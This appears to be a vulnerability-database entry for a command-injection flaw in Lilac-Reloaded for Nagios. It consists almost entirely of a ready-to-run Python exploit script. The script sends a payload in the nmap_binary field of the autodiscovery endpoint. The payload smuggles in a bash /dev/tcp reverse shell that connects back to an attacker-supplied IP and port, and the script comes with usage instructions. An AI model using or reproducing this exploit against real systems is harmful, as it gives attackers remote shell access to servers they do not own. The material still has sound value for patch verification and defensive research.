CVE-2023-53948 | Lilac-Reloaded for Nagios autodiscovery远程代码执行漏洞

import requests import sys # CVE-2023-53948 PoC - Lilac-Reloaded for Nagios RCE via nmap_binary parameter # Target: Lilac-Reloaded for Nagios 2.0.8 # Vulnerability: Command Injection in autodiscovery feature def exploit_rce(target_url, attacker_ip, attacker_port): """ Exploit the command injection vulnerability in nmap_binary parameter. This PoC demonstrates how an attacker can achieve reverse shell execution. Args: target_url: Base URL of the vulnerable Lilac-Reloaded application attacker_ip: Attacker's IP address for reverse shell callback attacker_port: Attacker's listening port for reverse shell """ endpoint = f"{target_url}/autodiscovery" # Construct reverse shell payload using common shell techniques # The payload uses bash to connect back to attacker machine reverse_shell = f"bash -i >& /dev/tcp/{attacker_ip}/{attacker_port} 0>&1" # Payload for command injection via nmap_binary parameter payload = { 'nmap_binary': f'; {reverse_shell} #', 'action': 'scan', 'targets': '127.0.0.1' } headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'Mozilla/5.0 (compatible; CVE-2023-53948-PoC)' } try: print(f"[*] Sending exploit payload to: {endpoint}") print(f"[*] Payload: nmap_binary = {payload['nmap_binary']}") response = requests.post(endpoint, data=payload, headers=headers, timeout=10) print(f"[+] Request sent. Status code: {response.status_code}") print(f"[*] Check your listener on {attacker_ip}:{attacker_port}") return True except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 4: print("Usage: python cve-2023-53948_poc.py <target_url> <attacker_ip> <attacker_port>") print("Example: python cve-2023-53948_poc.py http://vulnerable-server.com 192.168.1.100 4444") sys.exit(1) target = sys.argv[1] ip = sys.argv[2] port = sys.argv[3] print("="*60) print("CVE-2023-53948 - Lilac-Reloaded for Nagios RCE PoC") print("="*60) exploit_rce(target, ip, port)